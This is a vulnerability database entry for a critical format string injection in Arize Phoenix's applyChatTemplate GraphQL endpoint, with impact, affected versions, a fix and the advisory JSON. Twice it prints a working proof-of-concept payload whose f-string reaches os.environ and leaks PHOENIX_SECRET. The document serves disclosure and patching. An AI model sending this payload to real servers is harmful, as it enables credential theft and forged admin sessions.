GHSA-GFV3-M769-5XM3

Vulnerability from github – Published: 2026-11-17 20:02 – Updated: 2026-11-17 20:02
VLAI
Summary
Phoenix: Format String Injection in applyChatTemplate
Details
  • Summary

A format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.

  • Impact Server filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server os.environ including the admin credentials hardcoded in phoenix.auth.

Successful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.

  • Affected Versions

First vulnerable release: arize-phoenix-v13.0.0 (2026-02-13) Latest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)

  • Affected Component applyChatTemplate GraphQL query endpoint (src/phoenix/server/api/queries.py:1638) FStringTemplateFormatter._format() template rendering function (src/phoenix/utilities/template_formatters.py:272) DotDict.__getattr__() ineffective attribute access control (src/phoenix/utilities/template_formatters.py:90)

  • Proof of Concept payload as txt with an image performing the exploit below. PoC-Phoenix

  • Payload:
{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {
    "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
    "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
  }
}
  • Suggested Fix

Three mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.

Best Regards, Omar

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "arize-phoenix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "15.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-17T20:02:29Z",
    "nvd_published_at": "2026-11-16T20:19:06Z",
    "severity": "CRITICAL"
  },
  "details": "- Summary\n\nA format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.\n\n- Impact\nServer filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server `os.environ` including the admin credentials hardcoded in `phoenix.auth`.\n\nSuccessful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.\n\n- Affected Versions\n\nFirst vulnerable release: arize-phoenix-v13.0.0 (2026-02-13)\nLatest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)\n\n- Affected Component\n `applyChatTemplate` GraphQL query endpoint (`src/phoenix/server/api/queries.py:1638`)\n `FStringTemplateFormatter._format()` template rendering function (`src/phoenix/utilities/template_formatters.py:272`)\n `DotDict.__getattr__()` ineffective attribute access control (`src/phoenix/utilities/template_formatters.py:90`)\n\n- Proof of Concept\npayload as txt with an image performing the exploit below.\n\u003cimg width=\"1574\" height=\"766\" alt=\"PoC-Phoenix\" src=\"https://github.com/user-attachments/assets/55f56325-4c26-4c96-8aa9-89e44ff1ba53\" /\u003e\n- Payload:\n\n```\n{\n  \"query\": \"query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }\",\n  \"variables\": {\n    \"t\": { \"messages\": [{ \"role\": \"USER\", \"content\": [{ \"text\": { \"text\": \"{u.__class__.__bases__[0].__init__.__globals__[_os].environ}\" } }] }] },\n    \"o\": { \"format\": \"F_STRING\", \"variables\": { \"u\": { \"x\": 1 } } }\n  }\n}\n```\n\n\n- Suggested Fix\n\nThree mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.\n\nBest Regards,\nOmar",
  "id": "GHSA-gfv3-m769-5xm3",
  "modified": "2026-11-17T20:02:29Z",
  "published": "2026-11-17T20:02:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Arize-ai/phoenix/security/advisories/GHSA-gfv3-m769-5xm3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53998"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arize-ai/phoenix/pull/13197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Arize-ai/phoenix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arize-ai/phoenix/releases/tag/arize-phoenix-v15.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Phoenix: Format String Injection in applyChatTemplate"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…